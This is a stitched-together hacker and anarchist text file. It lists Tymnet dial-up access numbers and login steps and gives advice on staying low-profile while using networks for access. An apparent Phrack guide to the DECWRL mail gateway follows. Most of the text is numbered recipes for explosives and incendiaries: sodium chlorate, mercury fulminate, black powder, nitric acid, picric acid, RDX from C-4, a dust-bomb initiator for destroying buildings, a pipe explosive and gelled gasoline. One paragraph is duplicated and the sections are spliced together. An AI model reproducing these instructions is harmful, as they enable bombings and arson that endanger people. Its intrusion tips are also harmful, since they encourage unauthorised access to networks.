PENNSYLVANIA 300/1200 412/241-1006 @PDN +06254 ALEXANDRIA VIRGINIA 300/1200 703/683-6710 @PDN +06254 ARLINGTON VIRGINIA 300/1200 703/524-8961 @PDN +06254 FAIRFAX VIRGINIA 300/1200 703/385-1343 @PDN +06254 MCLEAN VIRGINIA 300/1200 703/848-2941 @PDN +@PDN BELL ATLANTIC - NETWORK NAME IS PUBLIC DATA NETWORK (PDN) +(CONNECT MESSAGE) +. _. _. _< _C _R _> _ (SYNCHRONIZES DATA SPEEDS) +WELCOME TO THE BPA/DST PDN +*. _T _ _< _C _R _> _ (TYMNET ADDRESS) +131069 (ADDRESS CONFIRMATION - TYMNET DNIC) +COM (CONFIRMATION OF CALL SET-UP) +-GWY 0XXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) +BELL SOUTH +NODE CITY STATE DENSITY ACCESS NUMBER MODEM +10207 ATLANTA GEORGIA 300/1200 404/261-4633 @PLSK +10207 ATHENS GEORGIA 300/1200 404/354-0614 @PLSK +10207 COLUMBUS GEORGIA 300/1200 404/324-5771 @PLSK +10207 ROME GEORGIA 300/1200 404/234/7542 @PLSK +@PLSK BELLSOUTH - NETWORK NAME IS PULSELINK +(CONNECT MESSAGE) +. _. _. _ _< _C _R _> _ (SYNCHRONIZES DATA SPEEDS) +(DOES NOT ECHO TO THE TERMINAL) +CONNECTED +PULSELINK +1 _3 _1 _0 _6 _ (TYMNET ADDRESS) +(DOES NOT ECHO TO THE TERMINAL) +PULSELINK: CALL CONNECTED TO 1 3106 +-GWY 0XXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) +PACIFIC BELL +NODE CITY STATE DENSITY ACCESS NUMBER NETWORK +03306 BERKELEY CALIFORNIA 300/1200 415-548-2121 @PPS +06272 EL SEGUNDO CALIFORNIA 300/1200 213-640-8548 @PPS +06272 FULLERTON CALIFORNIA 300/1200 714-441-2777 @PPS +06272 INGLEWOOD CALIFORNIA 300/1200 213-216-7667 @PPS +06272 ANGELES(DOWNTOWN) CALIFORNIA 300/1200 213-687-3727 @PPS +06272 LOS ANGELES CALIFORNIA 300/1200 213-480-1677 @PPS +03306 MOUNTAIN VIEW CALIFORNIA 300/1200 415-960-3363 @PPS +03306 OAKLAND CALIFORNIA 300/1200 415-893-9889 @PPS +03306 PALO ALTO CALIFORNIA 300/1200 415-325-4666 @PPS +06272 PASADENA CALIFORNIA 300/1200 818-356-0780 @PPS +03306 SAN FRANCISCO CALIFORNIA 300/1200 415-543-8275 @PPS +03306 SAN FRANCISCO CALIFORNIA 300/1200 415-626-5380 @PPS +03306 SAN FRANCISCO CALIFORNIA 300/1200 415-362-2280 @PPS +03306 SAN JOSE CALIFORNIA 300/1200 408-920-0888 @PPS +06272 SANTA ANNA CALIFORNIA 300/1200 714-972-9844 @PPS +06272 VAN NUYS CALIFORNIA 300/1200 818-780-1066 @PPS +@PPS PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS) +(CONNECT MESSAGE) +. _. _. _< _C _R _ (SYNCHRONIZES DATA SPEEDS) +(DOES NOT ECHO TO THE TERMINAL) +ONLINE 1200 +WELCOME TO PPS: 415-XXX-XXXX +1 _3 _1 _0 _6 _9 _ (TYMNET ADDRESS) +(DOES NOT ECHO UNTIL TYMNET RESPONDS) +-GWY 0XXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) +SOUTHERN NEW ENGLAND +NODE CITY STATE DENSITY ACCESS NUMBERS NETWORK +02727 BRIDGEPORT CONNECTICUT 300/2400 203/366-6972 @CONNNET +02727 BRISTOL CONNECTICUT 300/2400 203/589-5100 @CONNNET +02727 CANAAN CONNECTICUT 300/2400 203/824-5103 @CONNNET +02727 CLINTON CONNECTICUT 300/2400 203/669-4243 @CONNNET +02727 DANBURY CONNECTICUT 300/2400 203/743-2906 @CONNNET +02727 DANIELSON CONNECTICUT 300/2400 203/779-1880 @CONNNET +02727 HARTFORD/MIDDLETOWN CONNECTICUT 300/2400 203/724-6219 @CONNNET +02727 MERIDEN CONNECTICUT 300/2400 203/237-3460 @CONNNET +02727 NEW HAVEN CONNECTICUT 300/2400 203/776-1142 @CONNNET +02727 NEW LONDON CONNECTICUT 300/2400 203/443-0884 @CONNNET +02727 NEW MILFORD CONNECTICUT 300/2400 203/355-0764 @CONNNET +02727 NORWALK CONNECTICUT 300/2400 203/866-5305 @CONNNET +02727 OLD GREDDWICH CONNNETICUT 300/2400 203/637-8872 @CONNNET +02727 OLD SAYBROOK CONNECTICUT 300/2400 203/388-0778 @CONNNET +02727 SEYMOUR CONNECTICUT 300/2400 203/881-1455 @CONNNET +02727 STAMFORD CONNECTICUT 300/2400 203/324-9701 @CONNNET +02727 STORRS CONNECTICUT 300/2400 203/429-4243 @CONNNET +02727 TORRINGTON CONNECTICUT 300/2400 203/482-9849 @CONNNET +02727 WATERBURY CONNECTICUT 300/2400 203/597-0064 @CONNNET +02727 WILLIMANTIC CONNECTICUT 300/2400 203/456-4552 @CONNNET +02727 WINDSOR CONNECTICUT 300/2400 203/688-9330 @CONNNET +02727 WINDSOR LCKS/ENFIELD CONNECTICUT 300/2400 203/623-9804 @CONNNET +@CONNNET - SOUTHERN NEW ENGLAND TELEPHONE - NETWORK NAME IN CONNNET +(CONNECT MESSAGE) +H_ H_ <_ C_ R_> (SYNCHRONIZES DATA SPEEDS) +(DOES NOT ECHO TO THE TERMINAL) +CONNNET +._ T_ <_ C_ R_>_ (MUST BE CAPITAL LETTERS) +26-SEP-88 18:33 (DATA) +031069 (ADDRESS CONFIRMATION) +COM (CONFIRMATION OF CALL SET-UP) +-GWY OXXXX-TYMNET: PLEASE LOG IN: +SOUTHWESTERN BELL +NODE CITY STATE DENSITY ACCESS NUMBERS NETWORK +05443 KANSAS CITY KANSAS 300/1200 316/225-9951 @MRLK +05443 HAYS KANSAS 300/1200 913/625-8100 @MRLK +05443 HUTCHINSON KANSAS 300/1200 316/669-1052 @MRLK +05443 LAWRENCE KANSAS 300/1200 913/841-5580 @MRLK +05443 MANHATTAN KANSAS 300/1200 913/539-9291 @MRLK +05443 PARSONS KANSAS 300/1200 316/421-0620 @MRLK +05443 SALINA KANSAS 300/1200 913/825-4547 @MRLK +05443 TOPEKA KANSAS 300/1200 913/235-1909 @MRLK +05443 WICHITA KANSAS 300/1200 316/269-1996 @MRLK +04766 BRIDGETON/ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK +04766 ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK +On a side note, the recent book The Cuckoo's Egg provides some interesting information (in the form of a story, however) on a Tymnet hacker. +Remember that he was into BIG things, and hence he was cracked down upon. If you keep a low profile, networks should provide a good +access method. +If you can find a system that is connected to the Internet that you can get on from Tymnet, you are doing well. +129.Phrack Magazine - Vol. 3, Issue 30 by Dedicated Link +INTRODUCTION +DECWRL is a mail gateway computer operated by Digital's Western Research Laboratory in Palo Alto, California. Its purpose is to support the +interchange of electronic mail between Digital and the "outside world." +DECWRL is connected to Digital's Easynet, and also to a number of different outside electronic mail networks. Digital users can send outside +mail by sending to DECWRL::"outside-address", and digital users can also receive mail by having your correspondents route it through +DECWRL. The details of incoming mail are more complex, and are discussed below. +It is vitally important that Digital employees be good citizens of the networks to which we are connected. They depend on the integrity of our +user community to ensure that tighter controls over the use of the gateway are not required. The most important rule is "no chain letters," but +there are other rules depending on whether the connected network that you are using is commercial or non-commercial. +The current traffic volume (September 1989) is about 10,000 mail messages per day and about 3,000 USENET messages per day. Gatewayed +mail traffic has doubled every year since 1983. DECWRL is currently a Vax 8530 computer with 48 megabytes of main memory, 2500 +megabytes of disk space, 8 9600-baud (Telebit) modem ports, and various network connections. They will shortly be upgrading to a Vax 8650 +system. They run Ultrix 3.0 as the base operating system. +ADMINISTRATION +The gateway has engineering staff, but no administrative or clerical staff. They work hard to keep it running, but they do not have the +resources to answer telephone queries or provide tutorials in its use. +They post periodic status reports to the USENET newsgroup dec.general. Various helpful people usually copy these reports to the VAXNOTES +"gateways" conference within a day or two. +HOW TO SEND MAIL +DECWRL is connected to quite a number of different mail networks. If you were +logged on directly to it, you could type addresses directly, e.g. +To: strange!foreign!address. +But since you are not logged on directly to the gateway, you must send mail so that when it arrives at the gateway, it will be sent as if that +address had been typed locally. +* Sending from VMS +If you are a VMS user, you should use NMAIL, because VMS mail does not know how to requeue and retry mail when the network is +congested or disconnected. From VMS, address your mail like this: +To: nm%DECWRL::"strange!foreign!address" +The quote characters (") are important, to make sure that VMS doesn't try to interpret strange!foreign!address itself. If you are typing such an +address inside a mail program, it will work as advertised. If you are using DCL and typing directly to the command line, you should beware that +DCL likes to remove quotes, so you will have to enclose the entire address in quotes, and then put two quotes in every place that one quote +should appear in the address: +$ mail test.msg "nm%DECWRL::""foreign!addr""" /subj="hello" +Note the three quotes in a row after foreign!addr. The first two of them are doubled to produce a single quote in the address, and the third +ends the address itself (balancing the quote in front of the nm%). +Here are some typical outgoing mail addresses as used from a VMS system: +To: nm%DECWRL::"lll-winkin!netsys!phrack" +To: nm%DECWRL::"postmaster@msp.pnet.sc.edu" +To: nm%DECWRL::"netsys!phrack@uunet.uu.net" +To: nm%DECWRL::"phrackserv@CUNYVM.bitnet" +To: nm%DECWRL::"Chris.Jones@f654.n987.z1.fidonet.org" +* Sending from Ultrix +If your Ultrix system has been configured for it, then you can, from your Ultrix system, just send directly to the foreign address, and the mail +software will take care of all of the gateway routing for you. Most Ultrix systems in Corporate Research and in the Palo Alto cluster are +configured this way. +To find out whether your Ultrix system has been so configured, just try it and see what happens. If it doesn't work, you will receive notification +almost instantly. +NOTE: The Ultrix mail system is extremely flexible; it is almost completely configurable by the customer. While this is valuable to customers, it +makes it very difficult to write global instructions for the use of Ultrix mailers, because it is possible that the local changes have produced +something quite unlike the vendor-delivered mailer. One of the popular changes is to tinker with the meaning of quote characters (") in Ultrix +addresses. Some systems consider that these two addresses are the same: +site1!site2!user@host.dec.com +and +"site1!site2!user"@host.dec.com +while others are configured so that one form will work and the other will not. All of these examples use the quotes. If you have trouble getting +the examples to work, please try them again without the quotes. Perhaps your Ultrix system is interpreting the quotes differently. +If your Ultrix system has an IP link to Palo Alto (type "/etc/ping decwrl.dec.com" to find out if it does), then you can route your mail to the +gateway via IP. This has the advantage that your Ultrix mail headers will reach the gateway directly, instead of being translated into DECNET +mail headers and then back into Ultrix at the other end. Do this as follows: +To: "alien!address"@decwrl.dec.com +The quotes are necessary only if the alien address contains a ! character, but they don't hurt if you use them unnecessarily. If the alien +address contains an "@" character, you will need to change it into a "%" character. For example, to send via IP to joe@widget.org, you should +address the mail. +To: "joe%widget.org"@decwrl.dec.com +If your Ultrix system has only a DECNET link to Palo Alto, then you should address mail in much the same way that VMS users do, save that you +should not put the nm% in front of the address: +To: DECWRL::"strange!foreign!address" +Here are some typical outgoing mail addresses as used from an Ultrix system that has IP access. Ultrix systems without IP access should use +the same syntax as VMS users, except that the nm% at the front of the address should not be used. +To: "lll-winken!netsys!phrack"@decwrl.dec.com +To: "postmaster%msp.pnet.sc.edu"@decwrl.dec.com +To: "phrackserv%CUNYVM.bitnet"@decwrl.dec.com +To: "netsys!phrack%uunet.uu.net"@decwrl.dec.com +To: "Chris.Jones@f654.n987.z1.fidonet.org"@decwrl.dec.com +DETAILS OF USING OTHER NETWORKS +All of the world's computer networks are connected together, more or less, so it is hard to draw exact boundaries between them. Precisely +where the internet ends and UUCP begins is a matter of interpretation. +For purposes of sending mail, though, it is convenient to divide the network universe into these categories: +Easynet: +Digital's internal DECNET network. Characterized by addresses of the form NODE::USER. Easynet can be used for commercial +purposes. +Internet: +A collection of networks including the old ARPAnet, the NSFnet, the CSnet, and others. Most international research, development, +and educational organizations are connected in some fashion to the Internet. Characterized by addresses of the form +user@site.subdomain.domain. The internet itself cannot be used for commercial purposes. +UUCP: +A very primitive netw ork with no management, built with auto-dialers phoning one computer from another. Characterized by +addresses of the form place1!place2!user. The UUCP network can be used for commercial purposes provided that none of the sites +through which the message is routed objects to that. +USENET: +Not a network at all, but a layer of software built on top of UUCP and Internet. +BITNET: +An IBM-based network linking primarily educational sites. Digital users can send to BITNET as if it were part of internet, but BITNET +users need special instructions for reversing the process. BITNET cannot be used for commercial purposes. +Fidonet: +A network of personal computers. I am unsure of the status of using Fidonet for commercial purposes, nor am I sure of its efficacy. +DOMAINS AND DOMAIN ADDRESSING +There is a particular network called "the Internet;" it is somewhat related to what used to be "the ARPAnet." The Internet style of addressing is +flexible enough that people use it for addressing other networks as well, with the result that it is quite difficult to look at an address and tell just +what network it is likely to traverse. But the phrase "Internet address" does not mean "mail address of some computer on the Internet" but +rather "mail address in the style used by the Internet." Terminology is even further confused because the word "address" means one thing to +people who build networks and something entirely different to people who use them. In this file an "address" is something like +"mike@decwrl.dec.com" and not "192.1.24.177" (which is what network engineers would call an "internet address"). +The Internet naming scheme uses hierarchical domains, which despite their title are just a bookkeeping trick. It doesn't really matter whether +you say NODE: :USER or USER@NODE, but what happens when you connect two companies' networks together and they both have a node +ANCHOR?? You must, somehow, specify which ANCHOR you mean. You could say ANCHOR.DEC::USER or DEC.ANCHOR::USER or +USER@ANCHOR.DEC or USER@DEC.ANCHOR. The Internet convention is to say USER@ANCHOR.DEC, with the owner (DEC) after the name +(ANCHOR). +But there could be several different organizations named DEC. You could have Digital Equipment Corporation or Down East College or Disabled +Education Committee. The technique that the Internet scheme uses to resolve conflicts like this is to have hierarchical domains. A normal domain +isn't DEC or STANFORD, but DEC.COM (commercial) and STANFORD.EDU (educational). These domains can be further divided into +ZK3.DEC.COM or CS.STANFORD.EDU. This doesn't resolve conflicts completely, though: both Central Michigan University and Carnegie-Mellon +University could claim to be CMU.EDU. The rule is that the owner of the EDU domain gets to decide, just as the owner of the CMU.EDU gets to +decide whether the Electrical Engineering department or the Elementary Education department gets subdomain EE.CMU.EDU. +The domain scheme, while not perfect, is completely extensible. If you have two addresses that can potentially conflict, you can suffix some +domain to the end of them, thereby making, say, decwrl.UUCP be somehow different from DECWRL.ENET. +DECWRL's entire mail system is organized according to Internet domains, and in fact we handle all mail internally as if it were Internet mail. +Incoming mail is converted into Internet mail, and then routed to the appropriate domain; if that domain requires some conversion, then the mail is +converted to the requirements of the outbound domain as it passes through the gateway. For example, they put Easynet mail into the domain +ENE. +On a side note, the recent book The Cuckoo's Egg provides some interesting information (in the form of a story, however) on a Tymnet hacker. +Remember that he was into BIG things, and hence he was cracked down upon. If you keep a low profile, networks should provide a good +access method. +If you can find a system that is connected to the Internet that you can get on from Tymnet, you are doing well. +Username@f.n.z.ifna.org +In other words, if I wanted to mail to Silicon Swindler at 1:135/5, the address would be Silicon_Swindler@f5.n135.z1.ifna.org and, provided +that your mailer knows the .ifna.org domain, it should get through alright. Apparently, as of the writing of this article, they have implemented a +new gateway name called fidonet.org which should work in place of ifna.org in all routings. If your mailer does not know either of these +domains, use the above routing but replace the first "@" with a "%" and then afterwards, use either of the following mailers after the "@": +CS.ORST.EDU or K9.CS.ORST.EDU (i.e. username%f.n.z.fidonet.org@CS.ORST.EDU [or replace CS.ORST.EDU with +K9.CS.ORST.EDU]). +The following is a list compiled by Bill Fenner (WCF@PSUECL.BITNET) that was posted on INFONETS DIGEST which lists a number of FIDONET +gateways: +Net Node Node Name +104 56 milehi.ifna.org +105 55 casper.ifna.org +107 320 rubbs.ifna.org +109 661 blkcat.ifna.org +125 406 fidogate.ifna.org +128 19 hipshk.ifna.org +129 65 insight.ifna.org +143 N/A fidogate.ifna.org +152 200 castle.ifna.org +161 N/A fidogate.ifna.org +369 17 megasys.ifna.org +NOTE: The UUCP equivalent node name is the first part of the node name. In other words, the UUCP node milehi is listed as milehi.ifna.org +but can be mailed directly over the UUCP network. +Another way to mail to FIDONET, specifically for Internet people, is in this format: +ihnp4!necntc!ncoast!ohiont!!!user_name@husc6.harvard.edu +And for those UUCP mailing people out there, just use the path described and ignore the @husc5.harvard.edu portion. There is a FIDONET +NODELIST available on most any FIDONET bulletin board, but it is quite large. +ONTYME +Previously known as Tymnet, OnTyme is the McDonnell Douglas revision. After they bought out Tymnet, they renamed the company and +opened an experimental Internet gateway at ONTYME.TYMNET.COM but this is supposedly only good for certain corporate addresses within +McDonnell Douglas and Tymnet, not their customers. The userid format is xx.yyy or xx.y/yy where xx is a net name and yyy (or y/yy) is a true +username. If you cannot directly nail this, try: +xx.yyy%ONTYME.TYM +130.Sodium Chlorate by the Jolly Roger +Sodium Chlorate is a strong oxidizer used in the manufacture of explosives. It can be used in place of Potassium Chlorate. +Material Required: + 2 carbon or lead rods (1 in. diameter by 5 in. long) + Salt, or ocean water + Sulfuric acid, diluted + Motor Vehicle + Water + 2 wires, 16 gauge (3/64 in. diameter approx.), 6 ft. long, ins ulated. + Gasoline + 1 gallon glass jar, wide mouth (5 in. diameter by 6 in. high approx.) + Sticks + String + Teaspoon + Trays + Cup + Heavy cloth + Knife + Large flat pan or tray +Sources of Carbon or Lead rods: + Dry Cell Batteries (2- in. diameter by 7" long) or plumbing supply store. +Sources of Salt Water: + Grocery store or ocean +Sources of Sulfuric Acid: + Motor Vehicle Batteries. +Procedure: +1.Mix cup of salt into the one gallon glass jar with 3 liters (3 quarts) of water. +2.Add 2 teaspoons of battery acid to the solution and stir vigorously for 5 minutes. +3.Strip about 4 inches of insulation from both ends of the two wires. +4.With knife and sticks, shape 2 strips of wood 1 by 1/8 by 1-�. Tie the wood strips to the lead or carbon rods so that they are 1- inches +apart. +5.Connect the rods to the battery in a motor vehicle with the insulated wire. +6.Submerge 4- inches of the rods in the salt water solution. +7.With gear in neutral position, start the vehicle engine. Depress the accelerator approx. 1/5 of its full travel. +8.Run the engine with the accelerator in this position for 2 hours, then shut it down for 2 hours. +9.Repeat this cycle for a total of 64 hours while maintaining the level of the acid-salt water solution in the glass jar. +CAUTION: This arrangement employs voltages which can be quite dangerous! +Do not touch bare wire leads while engine is running!! +10.Shut off the engine. Remove the rods from the glass jar and disconnect wire leads from the battery. +11.Filter the solution through the heavy cloth into a flat pan or tray, leaving the sediment at the bottom of the glass jar. +12.Allow the water in the filtered solution to evaporate at room temperature (approx. 16 hours). The residue is approximately 60% or more +sodium chlorate which is pure enough to be used as an explosive ingredient. +131.Mercury Fulminate by the Jolly Roger +Mercury Fulminate is used as a primary explosive in the fabrication of detonators. It is to be used with a booster explosive such as picric acid +or RDX (which are elsewhere in this Cookbook). +Material Required: + Nitric Acid, 90% conc. (1.48 sp. gr) + Mercury + Ethyl (grain) alcohol (90%) + Filtering material [Paper Towels] + Teaspoon measure (�, �, and 1 tsp. capacity)-aluminum, stainless steel or wax coated + Heat Source + Clean wooden stick + Clean water + Glass containers + Tape + Syringe +Source of Nitric Acid: + Elsewhere in this Cookbook + Industrial metal processors +Source of Mercury: + Thermometers + Mercury switches + Old radio tubes +Procedure: +1.Dilute 5 teaspoons of nitric acid with 2- teaspoons of clean water in a glass container by adding the acid to the water. +2.Dissolve 1/8 teaspoon of mercury in the diluted nitric acid. This will yield dark red fumes. NOTE: It may be necessary to add water, on drop at +a time, to the mercury-acid solution in order to start a reaction. + CAUTION: Acid will burn skin and destroy clothing. If any is spilled, wash it away with a large quantity of water. Do NOT inhale +fumes! +3.Warm 10 teaspoons of the alcohol in a container until the alcohol feels warm to the inside of the wrist. +4.Pour the metal-acid solution into the warm alcohol. Reaction should start in less than 5 minutes. Dense white fumes will be given off during +the reaction. As time lapses, the fumes will become less dense. Allow 10 to 15 minutes to complete reaction. Fulminate will settle to the +bottom. + CAUTION: This reaction generates large quantities of toxic, flammable fumes. The process MUST be conducted outdoors or in a +well -ventilated area, away from sparks or open flames. DO NOT inhale fumes! +5.Filter the solution through a paper towel into a container. Crystals may stick to the side of the container. If so, tilt and squirt water down the +sides of the container until all of the material collects on the filter paper. +6.Wash the crystals with 6 teaspoons of ethyl alcohol. +7.Allow these mercury fulminate crystals to air dry. + CAUTION: Handle dry explosive with great care. Do not scrape or handle it roughly! Keep away from sparks or open flames. +Store in a cool, dry place. +132.Improvised Black Powder by The Jolly Roger +Black powder can be prepared in a simple, safe manner. It may be used as blasting or gun powder. +Materials: + Potassium Nitrate, granulated, 3 cups (3/4 liter) + Wood charcoal, powdered, 2 cups + Sulfur, powdered, cup + Alcohol, 5 pints (2- liters) (whiskey, rubbing alcohol, etc.) + Water, 3 cups (3/4 liter) + Heat source + 2 buckets - each 2 gallon (7- liters) capacity, at least one of which is heat resistant (metal, ceramic, etc.) + Flat w indow screening, at least 1 foot (30 cm) square + Large wooden stick + Cloth, at least 2 feet (60 cm) square +Procedure: +1.Place alcohol in one of the buckets. +2.Place potassium nitrate, charcoal, and sulfur in the heat resistant bucket. Add 1 cup water and mix thoroughly with wooden stick until all +ingredients are dissolved. +3.Add remaining water (2 cups) to mixture. Place bucket on heat source and stir until small bubbles begin to form. + CAUTION: DO NOT boil mixture. Be sure ALL mixture stays wet. If any is dry, as on sides of pan, it may ignite! +4.Remove bucket from heat and pour mixture into alcohol while stirring vigorously. +5.Let alcohol mixture stand about 5 minutes. Strain mixture through cloth to obtain black powder. Discard liquid. Wrap cloth around black +powder and squeeze to remove all excess liquid. +6.Place screening over dry bucket. Place workable amount of damp powder on screen and granulate by rubbing solid through screen. NOTE: If +granulated particles appear to stick together and change shape, recombine entire batch of powder and repeat steps 5 & 6. +7.Spread granulated black powder on flat, dry surface so that layer about inch (1- cm) is formed. Allow to dry. Use radiator, or direct +sunlight. This should be dried as soon as possible, preferably in an hour. The longer the drying period, the less effective the black +powder. + CAUTION: Remove from heat AS SOON AS granules are dry. Black powder is now ready to use. +133.Nitric Acid by The Jolly Roger +Nitric Acid is used in the preparation of many explosives, incendiary mixtures, and acid delay timers. It may be prepared by distilling a mixture of +potassium nitrate and concentrated sulfuric acid. +Material Required: + Potassium Nitrate (2 parts by volume) + CONCENTRATED sulfuric acid (1 part by volume) + 2 bottles or ceramin jugs (narrow necks are preferable) + Pot or frying pan + Heat source (wood, charcoal, or coal) + Tape (paper, electrical, masking, but NOT cellophane!) + Paper or rags +IMPORTANT: If sulfuric acid is obtained from a motor vehicle battery, concentrate it by boiling it UNTIL white fumes appear. DO NOT INHALE +FUMES. +NOTE: The amount of nitric acid produced is the same as the amount of potassium nitrate. Thus, for two tablespoons of nitric acid, use 2 +tablespoons of potassium nitrate and 1 tablespoonful of concentrated sulfuric acid. +Source of Potassium Nitrate: + Elsewhere in this Cookbook + Drug stores +Source of CONCENTRATED sulfuric acid: + Motor vehicle batteries + Industrial plants +Procedure: +1.Place dry potassium nitrate in bottle or jug. Add sulfuric acid. Do not fill the bottle more than full. Mix until paste is formed. + CAUTION: DO NOT INHALE FUMES! +2.Wrap paper or rags around necks of two bottles. securely tape necks of two bottles together. Be sure that bottles are flush against each +other and that there are no air spaces. +3.Support bottles on rocks or cans so that empty bottle is SLIGHTLY lower than bottle containing paste so that nitric acid that is formed in +receiving bottle will not run into other bottle. +4.Build fire in pot or frying pan. +5.Gently heat bottle containing mixture by gently moving fire in and out. As red fumes begin to appear periodically pour cool water over empty +receiving bottle. Nitric acid will begin to form in receiving bottle. + CAUTION: Do not overheat or wet bottle containing mixture or it may shatter. As an added precaution, place bottle to be heated +in heat resistant container filled with sand or gravel. Heat this outer container to produce nitric acid. +6.Continue the above process until no more red fumes are formed. If the nitric acid formed in the receiving bottle is not clear (cloudy) pour it into +cleaned bottle and repeat steps 2-6. + CAUTION: Nitric acid should be kept away from all combustibles and should be kept in a SEALED CERAMIC OR GLASS +container. DO NOT inhale fumes! +134.Dust Bomb Instructions by The Jolly Roger +An initiator which will initiate common material to produce dust explosions can be rapidly and easily constructed. This type of charge is ideal for +the destruction of enclosed areas such as rooms or buildings. +Material Required: + A flat can, 3 in. (8 cm) in diameter and 1- in. (3-3/4 cm) high. A 6- ounce tuna can serves the purpose quite well. + Blasting cap + Explosive + Aluminum (may be wire, cut sheet, flattened can, or powder) + Large nail, 4 in. (10 cm) long + Wooden rod - in. (6 mm) diameter + Flour, gasoline, and powder or chipped aluminum +NOTE: Plastic explosive produce better explosions than cast explosives. +Procedure: +1.Using the nail, press a hole through the side of the tuna can 3/8 inch to inch (1 to 1- cm) from the bottom. Using a rotating and lever action, +enlarge the hole until it will accommodate the blasting cap. +2.Place the wooden rod in the hole and position the end of the rod at the center of the can. +3.Press explosive into the can, being sure to surround the rod, until it is 3/4 inch (2 cm) from the top of the can. Carefully remove the wooden +rod. +4.Place the aluminum metal on top of the explosive. +5.Just before use, insert the blasting cap into the cavity made by the rod. The initiator is now ready to use. +NOTE: If it is desired to carry the initiator some distance, cardboard may +be pressed on top of the aluminum to insure against loss of material. +How to Use: +This particular unit works quite well to initiate charges of five pounds of flour, gallon (1-2/3 liters) of gasoline, or two pounds of flake painters +aluminum. The solid materials may merely be contained in sacks or cardboard cartons. The gasoline may be placed in plastic coated paper milk +cartons, as well as plastic or glass bottles. The charges are placed directly on top of the initiator and the blasting cap is actuated electrically or +by a fuse depending on the type of cap employed. this will destroy a 2,000 cubic feet enclosure (building 10 x 20 x 10 feet). +Note: For larger enclosures, use proportionally larger initiators and charges. +135.Carbon-Tet Explosive by The Jolly Roger +A moist explosive mixture can be made from fine aluminum powder combined with carbon tetrachloride or tetrachloroethylene. This explosive +can be detonated with a blasting cap. +Material Required: + Fine aluminum bronzing powder + Carbon Tetrachloride or Tetrachloroethylene + Stirring rod (wood) + Mixing container (bowl, bucket, etc.) + Measuring container (cup, tablespoon, etc.) + Storage container (jar, can, etc.) + Blasting cap + Pipe, can or jar +Source of Carbon Tetrachloride: + Paint store + Pharmacy + Fire extinguisher fluid +Source of Tetrachloroethylene: + Dry cleaners + Pharmacy +Procedure: +1.Measure out two parts aluminum powder to one part carbon tetrachloride or tetrachlorethylene liquid into mixing container, adding liquid to +powder while stirring with the wooden rod. +2.Stir until the mixture becomes the consistency of honey syrup. + CAUTION: Fumes from the liquid are dangerous and should not be inhaled. +3.Store explosive in a jar or similar water proof container until ready to use. The liquid in the mixture evaporates quickly when not confined. +NOTE: Mixture will detonate in this manner for a period of 72 hours. +How to Use: +1.Pour this mixture into an iron or steel pipe which has an end cap threaded on one end. If a pipe is not available, you may use a dry tin can or +glass jar. +2.Insert blasting cap just beneath the surface of the explosive mix. +NOTE: Confining the open end of the container will add to the effectiveness of the explosive. +136.Making Picric Acid from Aspirin by The Jolly Roger +Picric Acid can be used as a booster explosive in detonators, a high explosive charge, or as an intermediate to preparing lead picric. +Material Required: + Aspirin tablets (5 grains per tablet) + Alcohol, 95% pure + Sulfuric acid, concentrated, (if battery acid, boil until white fumes disappear) + Potassium Nitrate (see elsewhere in this Cookbook) + Water + Paper towels + Canning jar, 1 pint + Rod (glass or wood) + Glass containers + Ceramic or glass dish + Cup + Teaspoon + Tablespoon + Pan + Heat source + Tape +Procedure: +1.Crush 20 aspirin tablets in a glass container. Add 1 teaspoon of water and work into a paste. +2.Add approximately 1/3 to cup of alcohol (100 milliliters) to the aspirin paste; stir while pouring. +3.Filter the alcohol-aspirin solution through a paper towel into another glass container. Discard the solid left in the paper towel. +4.Pour the filtered solution into a glass or ceramic dish. +5.Evaporate the alcohol and water from the solution by placing the dish into a pan of hot water. White powder will remain in the dish after +evaporation. + NOTE: The water in the pan should be at hot bath temperature, not boiling, approx 160�F to 180�F. It should not burn the hands. +6.Pour 1/3 cup (80 milliliters) of concentrated sulfuric acid into a canning jar. Add the white powder to the sulfuric acid. +7.Heat canning jar of sulfuric acid in a pan of simmering hot water bath for 15 minutes; then remove jar from the bath. Solution will turn to a +yellow -orange color. +8.Add 3 level teaspoons (15 grams) of potassium nitrate in three portions to the yellow -orange solution; stir vigorously during additions. +Solution will turn red, then back to a yellow-orange color. +9.Allow the solution to cool to ambient room temperature while stirring occasionally. +10.Slowly pour the solution, while stirring, into 1- cup (300 milliliters) of cold water and allow to cool. +11.Filter the solution through a paper towel into a glass container. Light yellow particles will collect on the paper towel. +12.Wash the light yellow particles with 2 tablespoons (25 milliliters) of water. Discard the waste liquid in the container. +13.Place articles in ceramic dish and set in a hot water bath, as in step 5, for 2 hours. +137.Reclamation of RDX from C-4 Explosives by the Jolly Roger +RDX can be obtained from C-4 explosives with the use of gasoline. It can be used as a booster explosive for detonators or as a high explosive +charge. +Material Required: + Gasoline + C-4 explosive + 2 - pint glass jars, wide mouth + Paper towels + Stirring rod (glass or wood) + Water + Ceramic or glass dish + Pan + Heat source + Teaspoon + Cup + Tape +NOTE: Water, Ceramic or glass dish, pan, & heat source are all optional. The RDX can be air dried instead. +Procedure: +1.Place 1- teaspoons (15 grams) of C-4 explosive in one of the pint jars. Add 1 cup (240 milliliters) of gasoline. + NOTE: These quantities can be increased to obtain more RDX. For example, use 2 gallons of gasoline per 1 cup of C-4. +2.Knead and stir the C-4 with the rod until the C-4 has broken down into small particles. Allow mixture to stand for hour. +3.Stir the mixture again until a fine white powder remains on the bottom of the jar. +4.Filter the mixture through a paper towel into the other glass jar. Wash the particles collected on the paper towel with cup (120 milliliters) of +gasoline. Discard the waste liquid. +5.Place the RDX particles in a glass or ceramic dish. Set the dish in a pan of hot water, not boiling and dry for a period of 1 hour. + NOTE: The RDX particles may be air dried for a period of 2 to 3 hours. +138.Egg-based Gelled Flame Fuels by The Jolly Roger +The white of any bird egg can be used to gel gasoline for use as a flame fuel which will adhere to target surfaces. +Materials Required: +Parts by Volume Ingredient How used Common Source +85 Gasoline Motor Fuel Gas Stations +Stove Fuel Motor Vehicle +Solvent +14 Egg Whites Food Food Store +Industrial Farms +Processes +Any one of the following: +1 Table Salt Food Sea Water +Industrial Natural Brine +Processes Food Store +3 Ground Coffee Food Coffee Plant +Food Store +3 Dried Tea Leaves Food Tea Plant +Food Store +3 Cocoa Food Cacao Tree +Food Store +2 Sugar 